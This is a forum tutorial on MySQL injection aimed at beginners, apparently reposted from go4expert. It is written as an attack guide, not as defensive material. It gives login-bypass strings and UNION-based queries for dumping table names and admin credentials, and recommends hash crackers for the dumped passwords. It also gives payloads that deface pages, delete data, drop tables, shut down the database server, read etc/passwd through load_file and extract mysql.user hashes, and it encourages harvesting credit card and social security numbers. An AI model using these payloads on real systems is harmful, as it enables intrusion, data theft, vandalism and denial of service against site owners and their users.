Source : http://www.go4expert.com/forums/showthread.php?t=20438

SQL Injection Tutorial.

Table of Content

Intro

Greetz to all, I m sam207. In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various PHP & MySQL functions in various sites which will help you a lot... Also do not be harsh on me if there are any grammatical errors on the tutorial because English is not my native language(I m from Nepal). Now lets begin our walkthrough of SQL injection.

What Is Database?

Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers

can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either because of their vulnerability or because of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.

What Is SQL Injection?

SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.

In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..

Bypassing Logins

Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login script is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??

Let's see an example, where the username admin with the password sam207 can login to the site. Suppose, the SQL query for this is carried out as below:

Code:

```
SELECT USER from database WHERE username='admin' AND password='sam207'
```

And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the script is not sanitized. This opens a door for the hackers to gain illegal access to the site.

In this example, the attacker can enter the following user data in the login form:

username:a or 1=1--
password:blank

So, this would make our query as:

Code:

```
SELECT USER from database WHERE username='a' or 1=1-- AND password=''
```

Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.

So our above query becomes:

Code:

```
SELECT USER from database WHERE username='a' or 1=1
```

Now this query evaluates true even if there is no user called 'a' because 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.

There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.

Few such combinations are:
Code:

```
username:' or 1='1        password:' or 1='1
username:' or '1'='1'    password:' or '1'='1'
username:or 1=1        password:or 1=1
```

and there are many more cheat sheets. Just google. In fact, you can create your own such combinations to bypass logins..

That's all about bypassing logins.

Accessing Secret Data

SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.

Checking for vulnerability

Suppose, u got a site:

Code:

```
site.com/article.php?id=5
```

Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.
So, it is:
Code:

```
site.com/article.php?id=5'
```

Now if the site is not vulnerable, it filters and the page loads normally.
But, if it doesn't filter the query string, it would give the error something like below:
"MySQL Syntax Error By '5" In Article.php on line 15."
or
error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.

Also just using ' may not be the sure test; so you may try different things like:

Code:

```
site.com/article.php?id=5 union select 1--
```

If you get error with this, you again come to know that its vulnerable... Just try different things..

Find the number of columns

So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.

That is, we make our URL query as:

Code:

```
site.com/article.php?id=5 order by 1/*
```

This didn't give error.

Now, I do increase it to 2.

Code:

```
site.com/article.php?id=5 order by 2/*
```

Still no error
So, we need to increase until we get the error.

In my example, I got error when I put the value 3 i.e.

Code:

```
site.com/article.php?id=5 order by 3/*
```

This gave me error.

So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.

Addressing Vulnerable Part

Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.

First lets craft the union statement which won't error.. This becomes like this:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT null/*
```

This would error because our query needs to have one more null there.. Also null doesnot cause any type conversion error as it is just null..

So for our injection, it becomes:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT null,null/*
```

For this we do:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT 1,2/*
```

Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.

In my example, 1 is seen on the page. This means, I should replace 1 with my thingsto proceed further. Got it??So lets move forward.

Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT sam207,null/*
```

or

Code:

```
site.com/article.php?id=5 UNION ALL SELECT null,sam207/*
```

If sam207 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..

Finding MySQL version:

For our injection, it is necessary to find the MySQL version because if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().

So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT @@version,2/*
```

or

Code:

```
site.com/article.php?id=5 UNION ALL SELECT version(),2/*
```

So, this would return the version of MySQL running on the server.

But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:

Code:

```
site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*
```

Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.

@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes

it easy for us to perform the injection.

Quick note: Also, you may check for user, database,etc.. by using following:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT user(),2/*
site.com/article.php?id=5 UNION ALL SELECT database(),2/*
```

MySQL 5 or above injection:

Here, I m gonna show u how to access data in the server running MySQL 5 or above.

U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.

For getting table list, we use: table_name from information_schema.tables

For getting column list, we use: column_name from information_schema.columns

So our query for getting the table list in our example would be:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM
information_schema.tables/*
```

And yeah if u had to use unhex(hex()) while finding version, u will have to do:
Code:

```
site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM
information_schema.tables/*
```

This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.

Similarly, to get the column list, we would make our query as:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM
information_schema.columns/*
```

This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.

Alternatively to find the column in the specific table, u can do something like below:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM
information_schema.columns WHERE table_name='tbluser'
```

This would display the columns present in the table tbluser. But this may not work always based on PHP.INI so hex up.

Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.

There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using semicolon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)

What I do is:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2
FROM tbluser/*
```

And this gives me the username and password like below:
Code:

```
admin:9F14974D57DE204E37C11AEAC3EE4940
```

Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(openwalls.org), Cain & Able(oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.

Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.

MySQL version 4 injection:

Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 because it lacks support for information_schema.tables and

information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the MySQL version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports sam207_article in the error.. So, you know that sam207_ is the prefix used in the table names...

Anyway, lets go for MySQL version 4 injection...

For example, u would do as below:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*
```

Here, I guessed for the table name as user. But this gave me the error because the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.

When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.

Code:

```
site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*
```

The page loaded normally. Now again u have to guess the column names present in the tbluser table.

I do something like below:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
    //this gave me error so there is no column with this name.
    site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
    //It loaded the page normally along with the username from the table.
    site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
    //it errored so again the column pass doesnot exist in the table tbluser.
    site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
    //the page loaded normally with password hash(or plaintext password).
```

Now u may do this:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2
FROM tbluser/*
```

This gave me:
admin:9F14974D57DE204E37C11AEAC3EE4940

On cracking, I got sam207 as password. Now I just need to login the site and do whatever I wanted.

Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...

U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.

Modifying Site Content

Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.

Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed. But stacked queries donot work in MySQL.

First let me list these commands:

UPDATE: It is used to edit infos already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.
Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.
Command Usage:
UPDATE: Our vulnerable page is:
Code:

```
site.com/article.php?id=5
```

Lets say the query is:
Code:

```
SELECT title,data,author FROM article WHERE id=5
```

Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.

So we would do:

Code:

```
site.com/article.php?id=5 UPDATE article SET title='Hacked By sam207'/*
```

or, u could alternatively do:
Code:

```
site.com/article.php?id=5 UPDATE article SET title='HACKED BY
SAM207',data='Ur site has zero
    security',author='sam207'/*
```

By executing first query, we have set the title value as 'Hacked By sam207' in the table article while in second query, we have updated all three fields title, data, & author in the table article.
Sometimes, u may want to change the specific page with id=5. For this u will do:
Code:

```
site.com/article.php?id=5 UPDATE article SET title='value 1',data='value
2',author='value 3' WHERE id=5/*
```

DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.
The syntax is:
Code:

```
site.com/article.php?id=5 DELETE title,data,author FROM article/*
```

or if u want to delete these fields from the id=5, u will do:
Code:

```
site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*
```

DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data.
For this, we make our URL as:
Code:

```
site.com/article.php?id=5 DROP TABLE article/*
```

This would delete table article & all its contents.

Finally, I want to say little about ;

Though I have not used this in my tutorial, u can use it to end ur first query and start another one.

This ; can be kept at the end of our first query so that we can start new query after it.

Shutting Down MySQL Server

This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;

So, you would craft a query which would execute the above command...

For example, in my case, I would do the following:

Code:

```
site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;
```

WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...

Loadfile

MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..

Do something like below:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*
```

But sometimes, you will have to hex the part & do something like below:
Code:

```
site.com/article.php?id=5 UNION ALL SELECT
load_file(0x272F6574632F70617373776427)
```

where I have hexed... Now, if we are lucky, the script would echo the etc/passwd in the result..

MySQL Root

If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the MySQL database which ships with every installation of MySQL..

For this, you will do:

Code:

```
site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2
from mysql.user/*
```

Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But insidepro.com has one to do it..